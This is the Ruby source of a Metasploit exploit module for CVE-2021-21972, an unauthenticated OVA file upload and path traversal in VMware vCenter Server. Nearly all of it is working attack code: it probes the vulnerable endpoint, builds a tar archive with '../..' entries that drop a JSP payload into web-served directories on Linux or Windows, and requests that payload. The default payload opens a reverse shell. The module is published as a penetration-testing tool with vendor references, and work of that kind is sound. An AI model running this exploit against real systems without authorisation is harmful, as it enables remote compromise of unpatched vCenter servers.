This Metasploit module exploits an unauthenticated OVA file upload and path traversal in VMware vCenter Server to write a JSP payload to a web-accessible directory. Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c. Note that later vulnerable versions of the Linux appliance aren't exploitable via the webshell technique. Furthermore, writing an SSH public key to /home/vsphere-ui/.ssh/authorized_keys works, but the user's non-existent password expires 90 days after install, rendering the technique nearly useless against production environments. You'll have the best luck targeting older versions of the Linux appliance. The Windows target should work ubiquitously.
db7174f0c4fc0e0b2ac2dea0a4523ebf##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
# "Shotgun" approach to writing JSP
Rank = ManualRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::CheckModule
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware vCenter Server Unauthenticated OVA File Upload RCE',
'Description' => %q{
This module exploits an unauthenticated OVA file upload and path
traversal in VMware vCenter Server to write a JSP payload to a
web-accessible directory.
Fixed versions are 6.5 Update 3n, 6.7 Update 3l, and 7.0 Update 1c.
Note that later vulnerable versions of the Linux appliance aren't
exploitable via the webshell technique. Furthermore, writing an SSH
public key to /home/vsphere-ui/.ssh/authorized_keys works, but the
user's non-existent password expires 90 days after install, rendering
the technique nearly useless against production environments.
You'll have the best luck targeting older versions of the Linux
appliance. The Windows target should work ubiquitously.
},
'Author' => [
'Mikhail Klyuchnikov', # Discovery
'wvu', # Analysis and exploit
'mr_me', # Co-conspirator
'Viss' # Co-conspirator
],
'References' => [
['CVE', '2021-21972'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2021-0002.html'],
['URL', 'https://swarm.ptsecurity.com/unauth-rce-vmware/'],
['URL', 'https://twitter.com/jas502n/status/1364810720261496843'],
['URL', 'https://twitter.com/_0xf4n9x_/status/1364905040876503045'],
['URL', 'https://twitter.com/HackingLZ/status/1364636303606886403'],
['URL', 'https://kb.vmware.com/s/article/2143838'],
['URL', 'https://nmap.org/nsedoc/scripts/vmware-version.html']
],
'DisclosureDate' => '2021-02-23', # Vendor advisory
'License' => MSF_LICENSE,
'Platform' => ['linux', 'win'],
'Arch' => ARCH_JAVA,
'Privileged' => false, # true on Windows
'Targets' => [
[
# TODO: /home/vsphere-ui/.ssh/authorized_keys
'VMware vCenter Server <= 6.7 Update 1b (Linux)',
{
'Platform' => 'linux'
}
],
[
'VMware vCenter Server <= 6.7 Update 3j (Windows)',
{
'Platform' => 'win'
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => true,
'PAYLOAD' => 'java/jsp_shell_reverse_tcp',
'CheckModule' => 'auxiliary/scanner/vmware/esx_fingerprint'
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'RelatedModules' => ['auxiliary/scanner/vmware/esx_fingerprint']
}
)
)
register_options([
Opt::RPORT(443),
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
register_advanced_options([
# /usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/<index>
OptInt.new('SprayAndPrayMin', [true, 'Deployer index start', 40]), # mr_me
OptInt.new('SprayAndPrayMax', [true, 'Deployer index stop', 41]) # wvu
])
end
def spray_and_pray_min
datastore['SprayAndPrayMin']
end
def spray_and_pray_max
datastore['SprayAndPrayMax']
end
def spray_and_pray_range
(spray_and_pray_min..spray_and_pray_max).to_a
end
def check
# Run auxiliary/scanner/vmware/esx_fingerprint
super
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/getstatus')
)
unless res
return CheckCode::Unknown('Target did not respond to check.')
end
case res.code
when 200
# {"States":"[]","Install Progress":"UNKNOWN","Config Progress":"UNKNOWN","Config Final Progress":"UNKNOWN","Install Final Progress":"UNKNOWN"}
expected_keys = [
'States',
'Install Progress',
'Install Final Progress',
'Config Progress',
'Config Final Progress'
]
if (expected_keys & res.get_json_document.keys) == expected_keys
return CheckCode::Vulnerable('Unauthenticated endpoint access granted.')
end
CheckCode::Detected('Target did not respond with expected keys.')
when 401
CheckCode::Safe('Unauthenticated endpoint access denied.')
else
CheckCode::Detected("Target responded with code #{res.code}.")
end
end
def exploit
upload_ova
pop_thy_shell # ;)
end
def upload_ova
print_status("Uploading OVA file: #{ova_filename}")
multipart_form = Rex::MIME::Message.new
multipart_form.add_part(
generate_ova,
'application/x-tar', # OVA is tar
'binary',
%(form-data; name="uploadFile"; filename="#{ova_filename}")
)
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/ui/vropspluginui/rest/services/uploadova'),
'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",
'data' => multipart_form.to_s
)
unless res && res.code == 200 && res.body == 'SUCCESS'
fail_with(Failure::NotVulnerable, 'Failed to upload OVA file')
end
register_files_for_cleanup(*jsp_paths)
print_good('Successfully uploaded OVA file')
end
def pop_thy_shell
jsp_uri =
case target['Platform']
when 'linux'
normalize_uri(target_uri.path, "/ui/resources/#{jsp_filename}")
when 'win'
normalize_uri(target_uri.path, "/statsreport/#{jsp_filename}")
end
print_status("Requesting JSP payload: #{full_uri(jsp_uri)}")
res = send_request_cgi(
'method' => 'GET',
'uri' => jsp_uri
)
unless res && res.code == 200
fail_with(Failure::PayloadFailed, 'Failed to request JSP payload')
end
print_good('Successfully requested JSP payload')
end
def generate_ova
ova_file = StringIO.new
# HACK: Spray JSP in the OVA and pray we get a shell...
Rex::Tar::Writer.new(ova_file) do |tar|
jsp_paths.each do |path|
# /tmp/unicorn_ova_dir/../../<path>
tar.add_file("../..#{path}", 0o644) { |jsp| jsp.write(payload.encoded) }
end
end
ova_file.string
end
def jsp_paths
case target['Platform']
when 'linux'
@jsp_paths ||= spray_and_pray_range.shuffle.map do |idx|
"/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/#{idx}/0/h5ngc.war/resources/#{jsp_filename}"
end
when 'win'
# Forward slashes work here
["/ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/#{jsp_filename}"]
end
end
def ova_filename
@ova_filename ||= "#{rand_text_alphanumeric(8..42)}.ova"
end
def jsp_filename
@jsp_filename ||= "#{rand_text_alphanumeric(8..42)}.jsp"
end
end